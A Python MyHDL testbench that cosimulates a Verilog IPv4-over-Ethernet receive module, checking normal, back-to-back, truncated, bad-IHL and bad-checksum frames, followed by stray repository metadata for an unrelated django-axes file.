#!/usr/bin/env python """ Copyright (c) 2014-2018 Alex Forencich Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from myhdl import * import os import eth_ep import ip_ep module = 'ip_eth_rx_64' testbench = 'test_%s' % module srcs = [] srcs.append("../rtl/%s.v" % module) srcs.append("%s.v" % testbench) src = ' '.join(srcs) build_cmd = "iverilog -o %s.vvp %s" % (testbench, src) def bench(): # Inputs clk = Signal(bool(0)) rst = Signal(bool(0)) current_test = Signal(intbv(0)[8:]) s_eth_hdr_valid = Signal(bool(0)) s_eth_dest_mac = Signal(intbv(0)[48:]) s_eth_src_mac = Signal(intbv(0)[48:]) s_eth_type = Signal(intbv(0)[16:]) s_eth_payload_axis_tdata = Signal(intbv(0)[64:]) s_eth_payload_axis_tkeep = Signal(intbv(0)[8:]) s_eth_payload_axis_tvalid = Signal(bool(0)) s_eth_payload_axis_tlast = Signal(bool(0)) s_eth_payload_axis_tuser = Signal(bool(0)) m_ip_hdr_ready = Signal(bool(0)) m_ip_payload_axis_tready = Signal(bool(0)) # Outputs s_eth_hdr_ready = Signal(bool(0)) s_eth_payload_axis_tready = Signal(bool(0)) m_ip_hdr_valid = Signal(bool(0)) m_eth_dest_mac = Signal(intbv(0)[48:]) m_eth_src_mac = Signal(intbv(0)[48:]) m_eth_type = Signal(intbv(0)[16:]) m_ip_version = Signal(intbv(0)[4:]) m_ip_ihl = Signal(intbv(0)[4:]) m_ip_dscp = Signal(intbv(0)[6:]) m_ip_ecn = Signal(intbv(0)[2:]) m_ip_length = Signal(intbv(0)[16:]) m_ip_identification = Signal(intbv(0)[16:]) m_ip_flags = Signal(intbv(0)[3:]) m_ip_fragment_offset = Signal(intbv(0)[13:]) m_ip_ttl = Signal(intbv(0)[8:]) m_ip_protocol = Signal(intbv(0)[8:]) m_ip_header_checksum = Signal(intbv(0)[16:]) m_ip_source_ip = Signal(intbv(0)[32:]) m_ip_dest_ip = Signal(intbv(0)[32:]) m_ip_payload_axis_tdata = Signal(intbv(0)[64:]) m_ip_payload_axis_tkeep = Signal(intbv(0)[8:]) m_ip_payload_axis_tvalid = Signal(bool(0)) m_ip_payload_axis_tlast = Signal(bool(0)) m_ip_payload_axis_tuser = Signal(bool(0)) busy = Signal(bool(0)) error_header_early_termination = Signal(bool(0)) error_payload_early_termination = Signal(bool(0)) error_invalid_header = Signal(bool(0)) error_invalid_checksum = Signal(bool(0)) # sources and sinks source_pause = Signal(bool(0)) sink_pause = Signal(bool(0)) source = eth_ep.EthFrameSource() source_logic = source.create_logic( clk, rst, eth_hdr_ready=s_eth_hdr_ready, eth_hdr_valid=s_eth_hdr_valid, eth_dest_mac=s_eth_dest_mac, eth_src_mac=s_eth_src_mac, eth_type=s_eth_type, eth_payload_tdata=s_eth_payload_axis_tdata, eth_payload_tkeep=s_eth_payload_axis_tkeep, eth_payload_tvalid=s_eth_payload_axis_tvalid, eth_payload_tready=s_eth_payload_axis_tready, eth_payload_tlast=s_eth_payload_axis_tlast, eth_payload_tuser=s_eth_payload_axis_tuser, pause=source_pause, name='source' ) sink = ip_ep.IPFrameSink() sink_logic = sink.create_logic( clk, rst, ip_hdr_ready=m_ip_hdr_ready, ip_hdr_valid=m_ip_hdr_valid, eth_dest_mac=m_eth_dest_mac, eth_src_mac=m_eth_src_mac, eth_type=m_eth_type, ip_version=m_ip_version, ip_ihl=m_ip_ihl, ip_dscp=m_ip_dscp, ip_ecn=m_ip_ecn, ip_length=m_ip_length, ip_identification=m_ip_identification, ip_flags=m_ip_flags, ip_fragment_offset=m_ip_fragment_offset, ip_ttl=m_ip_ttl, ip_protocol=m_ip_protocol, ip_header_checksum=m_ip_header_checksum, ip_source_ip=m_ip_source_ip, ip_dest_ip=m_ip_dest_ip, ip_payload_tdata=m_ip_payload_axis_tdata, ip_payload_tkeep=m_ip_payload_axis_tkeep, ip_payload_tvalid=m_ip_payload_axis_tvalid, ip_payload_tready=m_ip_payload_axis_tready, ip_payload_tlast=m_ip_payload_axis_tlast, ip_payload_tuser=m_ip_payload_axis_tuser, pause=sink_pause, name='sink' ) # DUT if os.system(build_cmd): raise Exception("Error running build command") dut = Cosimulation( "vvp -m myhdl %s.vvp -lxt2" % testbench, clk=clk, rst=rst, current_test=current_test, s_eth_hdr_valid=s_eth_hdr_valid, s_eth_hdr_ready=s_eth_hdr_ready, s_eth_dest_mac=s_eth_dest_mac, s_eth_src_mac=s_eth_src_mac, s_eth_type=s_eth_type, s_eth_payload_axis_tdata=s_eth_payload_axis_tdata, s_eth_payload_axis_tkeep=s_eth_payload_axis_tkeep, s_eth_payload_axis_tvalid=s_eth_payload_axis_tvalid, s_eth_payload_axis_tready=s_eth_payload_axis_tready, s_eth_payload_axis_tlast=s_eth_payload_axis_tlast, s_eth_payload_axis_tuser=s_eth_payload_axis_tuser, m_ip_hdr_valid=m_ip_hdr_valid, m_ip_hdr_ready=m_ip_hdr_ready, m_eth_dest_mac=m_eth_dest_mac, m_eth_src_mac=m_eth_src_mac, m_eth_type=m_eth_type, m_ip_version=m_ip_version, m_ip_ihl=m_ip_ihl, m_ip_dscp=m_ip_dscp, m_ip_ecn=m_ip_ecn, m_ip_length=m_ip_length, m_ip_identification=m_ip_identification, m_ip_flags=m_ip_flags, m_ip_fragment_offset=m_ip_fragment_offset, m_ip_ttl=m_ip_ttl, m_ip_protocol=m_ip_protocol, m_ip_header_checksum=m_ip_header_checksum, m_ip_source_ip=m_ip_source_ip, m_ip_dest_ip=m_ip_dest_ip, m_ip_payload_axis_tdata=m_ip_payload_axis_tdata, m_ip_payload_axis_tkeep=m_ip_payload_axis_tkeep, m_ip_payload_axis_tvalid=m_ip_payload_axis_tvalid, m_ip_payload_axis_tready=m_ip_payload_axis_tready, m_ip_payload_axis_tlast=m_ip_payload_axis_tlast, m_ip_payload_axis_tuser=m_ip_payload_axis_tuser, busy=busy, error_header_early_termination=error_header_early_termination, error_payload_early_termination=error_payload_early_termination, error_invalid_header=error_invalid_header, error_invalid_checksum=error_invalid_checksum ) @always(delay(4)) def clkgen(): clk.next = not clk error_header_early_termination_asserted = Signal(bool(0)) error_payload_early_termination_asserted = Signal(bool(0)) error_invalid_header_asserted = Signal(bool(0)) error_invalid_checksum_asserted = Signal(bool(0)) @always(clk.posedge) def monitor(): if (error_header_early_termination): error_header_early_termination_asserted.next = 1 if (error_payload_early_termination): error_payload_early_termination_asserted.next = 1 if (error_invalid_header): error_invalid_header_asserted.next = 1 if (error_invalid_checksum): error_invalid_checksum_asserted.next = 1 def wait_normal(): while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid: yield clk.posedge def wait_pause_source(): while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid: source_pause.next = True yield clk.posedge yield clk.posedge yield clk.posedge source_pause.next = False yield clk.posedge def wait_pause_sink(): while s_eth_payload_axis_tvalid or m_ip_payload_axis_tvalid or s_eth_hdr_valid: sink_pause.next = True yield clk.posedge yield clk.posedge yield clk.posedge sink_pause.next = False yield clk.posedge @instance def check(): yield delay(100) yield clk.posedge rst.next = 1 yield clk.posedge rst.next = 0 yield clk.posedge yield delay(100) yield clk.posedge for payload_len in range(1,18): yield clk.posedge print("test 1: test packet, length %d" % payload_len) current_test.next = 1 test_frame = ip_ep.IPFrame() test_frame.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame.eth_src_mac = 0x5A5152535455 test_frame.eth_type = 0x0800 test_frame.ip_version = 4 test_frame.ip_ihl = 5 test_frame.ip_length = None test_frame.ip_identification = 0 test_frame.ip_flags = 2 test_frame.ip_fragment_offset = 0 test_frame.ip_ttl = 64 test_frame.ip_protocol = 0x11 test_frame.ip_header_checksum = None test_frame.ip_source_ip = 0xc0a80164 test_frame.ip_dest_ip = 0xc0a80165 test_frame.payload = bytearray(range(payload_len)) test_frame.build() eth_frame = test_frame.build_eth() for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame assert sink.empty() yield delay(100) yield clk.posedge print("test 2: back-to-back packets, length %d" % payload_len) current_test.next = 2 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 3: tuser assert, length %d" % payload_len) current_test.next = 3 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.user = 1 for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 assert rx_frame.payload.user[-1] yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 4: trailing bytes (1), length %d" % payload_len) current_test.next = 4 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data += bytearray(b'\x00') for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 5: trailing bytes (10), length %d" % payload_len) current_test.next = 5 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data += bytearray(b'\x00'*10) for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 6: trailing bytes with tuser assert (1), length %d" % payload_len) current_test.next = 6 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data += bytearray(b'\x00') eth_frame1.payload.user = 1 for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 assert rx_frame.payload.user[-1] yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 7: trailing bytes with tuser assert (10), length %d" % payload_len) current_test.next = 7 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data += bytearray(b'\x00'*10) eth_frame1.payload.user = 1 for wait in wait_normal, wait_pause_source, wait_pause_sink: source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame1 assert rx_frame.payload.user[-1] yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 8: truncated payload (1), length %d" % payload_len) current_test.next = 8 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len+1)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data = eth_frame1.payload.data[:-1] for wait in wait_normal, wait_pause_source, wait_pause_sink: error_payload_early_termination_asserted.next = 0 source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame.payload.user[-1] assert error_payload_early_termination_asserted yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 9: truncated payload (10), length %d" % payload_len) current_test.next = 9 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len+10)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data = eth_frame1.payload.data[:-10] for wait in wait_normal, wait_pause_source, wait_pause_sink: error_payload_early_termination_asserted.next = 0 source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame.payload.user[-1] assert error_payload_early_termination_asserted yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 10: bad IHL, length %d" % payload_len) current_test.next = 10 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 6 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() for wait in wait_normal, wait_pause_source, wait_pause_sink: error_invalid_header_asserted.next = 0 source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert error_invalid_header_asserted assert rx_frame == test_frame2 assert sink.empty() yield delay(100) yield clk.posedge print("test 11: bad checksum, length %d" % payload_len) current_test.next = 11 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = 0x1234 test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(payload_len)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(payload_len)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() for wait in wait_normal, wait_pause_source, wait_pause_sink: error_invalid_checksum_asserted.next = 0 source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert error_invalid_checksum_asserted assert rx_frame == test_frame2 assert sink.empty() yield delay(100) for length in range(1,21): yield clk.posedge print("test 12: truncated header, length %d" % length) current_test.next = 12 test_frame1 = ip_ep.IPFrame() test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame1.eth_src_mac = 0x5A5152535455 test_frame1.eth_type = 0x0800 test_frame1.ip_version = 4 test_frame1.ip_ihl = 5 test_frame1.ip_length = None test_frame1.ip_identification = 0 test_frame1.ip_flags = 2 test_frame1.ip_fragment_offset = 0 test_frame1.ip_ttl = 64 test_frame1.ip_protocol = 0x11 test_frame1.ip_header_checksum = None test_frame1.ip_source_ip = 0xc0a80164 test_frame1.ip_dest_ip = 0xc0a80165 test_frame1.payload = bytearray(range(16)) test_frame1.build() test_frame2 = ip_ep.IPFrame() test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5 test_frame2.eth_src_mac = 0x5A5152535455 test_frame2.eth_type = 0x0800 test_frame2.ip_version = 4 test_frame2.ip_ihl = 5 test_frame2.ip_length = None test_frame2.ip_identification = 0 test_frame2.ip_flags = 2 test_frame2.ip_fragment_offset = 0 test_frame2.ip_ttl = 64 test_frame2.ip_protocol = 0x11 test_frame2.ip_header_checksum = None test_frame2.ip_source_ip = 0xc0a80164 test_frame2.ip_dest_ip = 0xc0a80166 test_frame2.payload = bytearray(range(16)) test_frame2.build() eth_frame1 = test_frame1.build_eth() eth_frame2 = test_frame2.build_eth() eth_frame1.payload.data = eth_frame1.payload.data[:length] for wait in wait_normal, wait_pause_source, wait_pause_sink: error_header_early_termination_asserted.next = 0 source.send(eth_frame1) source.send(eth_frame2) yield clk.posedge yield clk.posedge yield wait() yield clk.posedge yield sink.wait() rx_frame = sink.recv() assert error_header_early_termination_asserted assert rx_frame == test_frame2 assert sink.empty() yield delay(100) raise StopSimulation return instances() def test_bench(): sim = Simulation(bench()) sim.run() if __name__ == '__main__': print("Running test...") test_bench()

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null

0

7

62bc371ceb746060ec761c252168f70735d3f4af

1,723

py

Python

axes/migrations/0002_auto_20151217_2044.py

AMDINDOWS/django-axes

9b73fc39d85057505782cec40ae46a7eff6f2949

[ "MIT" ]

831

2016-07-28T08:57:31.000Z

2022-03-28T20:52:22.000Z

axes/migrations/0002_auto_20151217_2044.py

AMDINDOWS/django-axes

9b73fc39d85057505782cec40ae46a7eff6f2949

[ "MIT" ]

620

2016-07-27T21:57:42.000Z

2022-03-29T12:11:48.000Z

axes/migrations/0002_auto_20151217_2044.py

AMDINDOWS/django-axes

9b73fc39d85057505782cec40ae46a7eff6f2949

[ "MIT" ]

219

2016-08-05T15:55:31.000Z

2022-03-25T04:03:13.000Z

